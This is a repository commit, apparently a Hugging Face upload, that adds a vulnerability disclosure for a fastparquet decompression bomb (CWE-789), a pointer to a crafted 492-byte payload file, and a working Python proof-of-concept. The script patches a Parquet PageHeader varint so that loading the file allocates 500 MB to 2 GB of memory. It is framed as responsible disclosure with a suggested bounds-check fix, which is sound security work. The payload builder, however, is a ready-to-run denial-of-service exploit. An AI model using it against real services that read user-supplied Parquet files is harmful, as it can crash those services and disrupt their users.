MBM7 commited on
Commit
c63619c
Β·
verified Β·
1 Parent(s): 271b7ed

Upload 3 files

Browse files
README_fastparquet_poc.md ADDED
@@ -0,0 +1,134 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ tags:
3
+ - security
4
+ - vulnerability
5
+ - poc
6
+ - parquet
7
+ - fastparquet
8
+ - decompression-bomb
9
+ - cwe-789
10
+ license: mit
11
+ ---
12
+
13
+ # fastparquet β€” Parquet PageHeader Decompression Bomb (PoC)
14
+
15
+ **Repo:** `MBM7/fastparquet-parquet-decompression-bomb-poc`
16
+ **Status:** Responsible disclosure β€” submitted to Huntr
17
+ **Severity:** High / CWE-789 (Uncontrolled Memory Allocation)
18
+
19
+ ---
20
+
21
+ ## Summary
22
+
23
+ A crafted **492-byte** `.parquet` file causes `fastparquet` to allocate
24
+ **gigabytes of memory** before failing β€” enabling OOM-kill on any service
25
+ that loads user-supplied Parquet files.
26
+
27
+ | File size | Fake `uncompressed_page_size` | Peak allocation | Amplification |
28
+ |-----------|-------------------------------|-----------------|---------------|
29
+ | 492 bytes | 500,000,000 | **500 MB** | 1 : 1,016,260 |
30
+ | 492 bytes | 2,000,000,000 | **2,000 MB** | 1 : 4,065,040 |
31
+
32
+ ---
33
+
34
+ ## Root Cause
35
+
36
+ `fastparquet/compression.py` β€” `decompress_data()`:
37
+
38
+ ```python
39
+ if algorithm.upper() in decom_into:
40
+ x = np.empty(uncompressed_size, dtype='uint8') # ← pre-allocates upfront
41
+ decom_into[algorithm.upper()](
42
+ np.frombuffer(data, dtype=np.uint8), x
43
+ )
44
+ return x
45
+ ```
46
+
47
+ `uncompressed_size` is passed directly from `ph.uncompressed_page_size`
48
+ (Thrift compact i32, PageHeader field 2) **with no bound check** at any
49
+ point in the call chain:
50
+
51
+ ```
52
+ fastparquet.ParquetFile.to_pandas()
53
+ β†’ read_col_group() [core.py ~291]
54
+ β†’ _read_page() [core.py ~20]
55
+ β†’ decompress_data(
56
+ data,
57
+ page_header.uncompressed_page_size, ← from Thrift, unchecked
58
+ codec
59
+ )
60
+ β†’ np.empty(uncompressed_size) ← GB allocation here
61
+ ```
62
+
63
+ `max_header_size` or equivalent limit: **does not exist** in fastparquet.
64
+
65
+ ---
66
+
67
+ ## Attack
68
+
69
+ Parquet format: `PAR1 | PageHeader (Thrift compact) | compressed_data | ... | PAR1`
70
+
71
+ PageHeader field 2 (`uncompressed_page_size`, type i32) is a
72
+ zigzag-encoded varint at byte offset 7 in a minimal single-column file.
73
+
74
+ Replacing the 1-byte varint (value `4`) with a 5-byte varint
75
+ (value `500_000_000`) produces a valid-looking file that triggers 500 MB
76
+ of allocation on any codec in `decom_into` (GZIP, SNAPPY, ZSTD, BROTLI).
77
+
78
+ ---
79
+
80
+ ## Reproduce
81
+
82
+ ```bash
83
+ pip install fastparquet pyarrow
84
+ python poc_fastparquet_parquet_bomb.py
85
+ ```
86
+
87
+ Expected output:
88
+ ```
89
+ Crafted file size : 492 bytes
90
+ Expected allocation : 500,000,000 bytes
91
+ Amplification : 1:1,016,260
92
+ Result : DecompressionError: unexpected end of file
93
+ Peak memory : 500 MB ← allocation happened
94
+ ```
95
+
96
+ ---
97
+
98
+ ## Suggested Fix
99
+
100
+ `fastparquet/compression.py`, before `np.empty()`:
101
+
102
+ ```python
103
+ MAX_UNCOMPRESSED = 256 * 1024 * 1024 # 256 MB configurable limit
104
+ if uncompressed_size > MAX_UNCOMPRESSED:
105
+ raise ValueError(
106
+ f"uncompressed_size {uncompressed_size} exceeds safety limit "
107
+ f"{MAX_UNCOMPRESSED}. Possible decompression bomb."
108
+ )
109
+ ```
110
+
111
+ ---
112
+
113
+ ## Environment
114
+
115
+ | Package | Version |
116
+ |---------------|-----------|
117
+ | fastparquet | 2026.5.0 |
118
+ | pyarrow | 25.0.0 |
119
+ | Python | 3.12 |
120
+
121
+ ---
122
+
123
+ ## Files
124
+
125
+ | File | Description |
126
+ |---------------------------------------|--------------------------|
127
+ | `poc_fastparquet_parquet_bomb.py` | PoC script (self-contained) |
128
+ | `bomb_500mb.parquet` | Crafted payload (492 bytes) |
129
+
130
+ ---
131
+
132
+ *Discovered via empirical security research using UBDAF (Universal Bug
133
+ Discovery & Analysis Framework) β€” Q2 CRITICAL pattern: arithmetic on
134
+ externally-controlled value without bound check.*
bomb_500mb.parquet ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:06e5f6962e617cd9025df58593e7cd0613378ebb8b0cfd0edc7540428cde192b
3
+ size 492
poc_fastparquet_parquet_bomb.py ADDED
@@ -0,0 +1,162 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ PoC: fastparquet Parquet PageHeader Decompression Bomb
3
+ Target : fastparquet (PyPI package `fastparquet`)
4
+ Format : Parquet (.parquet) β€” Huntr target: $1500
5
+ Tested : fastparquet 2026.5.0, pyarrow 25.0.0, Python 3.12
6
+ Author : mgm-77 / MBM7
7
+
8
+ === Finding: Unvalidated PageHeader.uncompressed_page_size β†’ GB-scale allocation ===
9
+ CWE-789 (Uncontrolled Memory Allocation) / Pattern #7 CULA
10
+
11
+ fastparquet/compression.py, function decompress_data():
12
+
13
+ if algorithm.upper() in decom_into:
14
+ x = np.empty(uncompressed_size, dtype='uint8') # ← pre-allocates upfront
15
+ decom_into[algorithm.upper()](
16
+ np.frombuffer(data, dtype=np.uint8), x
17
+ )
18
+ return x
19
+
20
+ The `uncompressed_size` parameter comes from ph.uncompressed_page_size
21
+ (Thrift compact i32 field 2 in PageHeader), which is read directly from
22
+ the Parquet binary file with no validation whatsoever.
23
+
24
+ fastparquet/core.py line ~291 also uses it without guard:
25
+ uncompressed_page_size = (ph.uncompressed_page_size
26
+ - data_header2.definition_levels_byte_length
27
+ - data_header2.repetition_levels_byte_length)
28
+
29
+ Root cause: there is no check of the form
30
+ if ph.uncompressed_page_size > SOME_SAFE_LIMIT: raise ValueError(...)
31
+ at any point between reading the Thrift field and the np.empty() call.
32
+
33
+ === Attack: patch Thrift varint in PageHeader ===
34
+ A valid Parquet file's PageHeader is located at offset 4 (after PAR1 magic).
35
+ Thrift compact field 2 (uncompressed_page_size, type i32) is a zigzag-encoded
36
+ varint starting at byte offset 7 in a minimal single-column file.
37
+ Replacing the 1-byte varint (value 4) with a 5-byte varint (value 500_000_000)
38
+ produces a crafted file that causes 500 MB of memory allocation on read.
39
+
40
+ === Impact ===
41
+ Any service that reads user-supplied .parquet files with fastparquet
42
+ (Dask, pandas via fastparquet engine, HuggingFace datasets, custom ML
43
+ pipelines) can be OOM-killed by a sub-1KB malicious file.
44
+ """
45
+
46
+ import io
47
+ import struct
48
+ import tracemalloc
49
+
50
+ import numpy as np
51
+ import pyarrow as pa
52
+ import pyarrow.parquet as pq
53
+ import fastparquet
54
+
55
+
56
+ # ── Thrift compact varint helpers ─────────────────────────────────────────────
57
+
58
+ def zigzag_encode(n: int) -> int:
59
+ return (n << 1) ^ (n >> 31)
60
+
61
+
62
+ def write_varint(value: int) -> bytes:
63
+ out = []
64
+ while value > 0x7F:
65
+ out.append((value & 0x7F) | 0x80)
66
+ value >>= 7
67
+ out.append(value)
68
+ return bytes(out)
69
+
70
+
71
+ # ── Payload builder ───────────────────────────────────────────────────────────
72
+
73
+ def make_bomb_parquet(fake_uncompressed_size: int) -> bytes:
74
+ """
75
+ Build a crafted Parquet file where the PageHeader claims
76
+ `uncompressed_page_size = fake_uncompressed_size` but actual
77
+ compressed data is tiny.
78
+
79
+ Valid minimal file is written by pyarrow, then byte-patched
80
+ at the known Thrift varint offset.
81
+ """
82
+ # Write a valid 1-row, 1-column GZIP-compressed Parquet file
83
+ table = pa.table({"val": pa.array([42], type=pa.int32())})
84
+ buf = io.BytesIO()
85
+ pq.write_table(table, buf, compression="GZIP")
86
+ data = bytearray(buf.getvalue())
87
+
88
+ # PageHeader starts at offset 4 (after PAR1 magic).
89
+ # Field 2 (uncompressed_page_size) varint is at byte offset 7.
90
+ # Original value = 4 β†’ zigzag(4) = 8 β†’ varint = b'\x08' (1 byte)
91
+ original_varint = write_varint(zigzag_encode(4)) # b'\x08'
92
+ fake_varint = write_varint(zigzag_encode(fake_uncompressed_size))
93
+
94
+ assert data[7:7 + len(original_varint)] == original_varint, (
95
+ "Unexpected varint at offset 7 β€” file layout may have changed"
96
+ )
97
+
98
+ crafted = bytes(data[:7]) + fake_varint + bytes(data[7 + len(original_varint):])
99
+ return crafted
100
+
101
+
102
+ # ── Main ──────────────────────────────────────────────────────────────────────
103
+
104
+ BOMB_CASES = [
105
+ (500_000_000, "500 MB"),
106
+ (2_000_000_000, "2 GB β€” triggers MemoryError on RAM-limited hosts"),
107
+ ]
108
+
109
+ print("=" * 64)
110
+ print("fastparquet: Parquet PageHeader Decompression Bomb")
111
+ print("CWE-789 / CULA Pattern #7")
112
+ print("=" * 64)
113
+
114
+ for fake_size, label in BOMB_CASES:
115
+ payload = make_bomb_parquet(fake_size)
116
+
117
+ print(f"\n Fake uncompressed_page_size : {fake_size:,} ({label})")
118
+ print(f" Crafted file size : {len(payload)} bytes")
119
+ print(f" Expected allocation : {fake_size:,} bytes")
120
+ print(f" Amplification : 1:{fake_size // len(payload):,}")
121
+
122
+ tracemalloc.start()
123
+ try:
124
+ pf = fastparquet.ParquetFile(io.BytesIO(payload))
125
+ _ = pf.to_pandas()
126
+ peak = tracemalloc.get_traced_memory()[1]
127
+ print(f" Result : LOADED (unexpected)")
128
+ print(f" Peak memory : {peak:,} bytes")
129
+ except MemoryError:
130
+ peak = tracemalloc.get_traced_memory()[1]
131
+ print(f" Result : MemoryError β€” OOM triggered βœ“")
132
+ print(f" Peak memory : {peak/1e6:.0f} MB")
133
+ except Exception as e:
134
+ peak = tracemalloc.get_traced_memory()[1]
135
+ print(f" Result : {type(e).__name__}: {e}")
136
+ print(f" Peak memory : {peak/1e6:.0f} MB ← allocation happened")
137
+ finally:
138
+ tracemalloc.stop()
139
+
140
+ print()
141
+ print("=" * 64)
142
+ print("Root cause β€” fastparquet/compression.py, decompress_data():")
143
+ print()
144
+ print(" def decompress_data(data, uncompressed_size, algorithm):")
145
+ print(" ... ")
146
+ print(" if algorithm.upper() in decom_into: ")
147
+ print(" x = np.empty(uncompressed_size, dtype='uint8') ")
148
+ print(" ^^^^^^^^^^^^^^^^^ from Thrift, ")
149
+ print(" no bound check ")
150
+ print(" decom_into[...](np.frombuffer(data,...), x) ")
151
+ print(" return x ")
152
+ print()
153
+ print("Suggested fix: add before np.empty():")
154
+ print(" MAX_UNCOMPRESSED = 256 * 1024 * 1024 # 256 MB")
155
+ print(" if uncompressed_size > MAX_UNCOMPRESSED:")
156
+ print(" raise ValueError(f'uncompressed_size {uncompressed_size} exceeds limit')")
157
+ print()
158
+ print("=" * 64)
159
+ print(f"fastparquet version : {fastparquet.__version__}")
160
+ import pyarrow, sys
161
+ print(f"pyarrow version : {pyarrow.__version__}")
162
+ print(f"Python version : {sys.version}")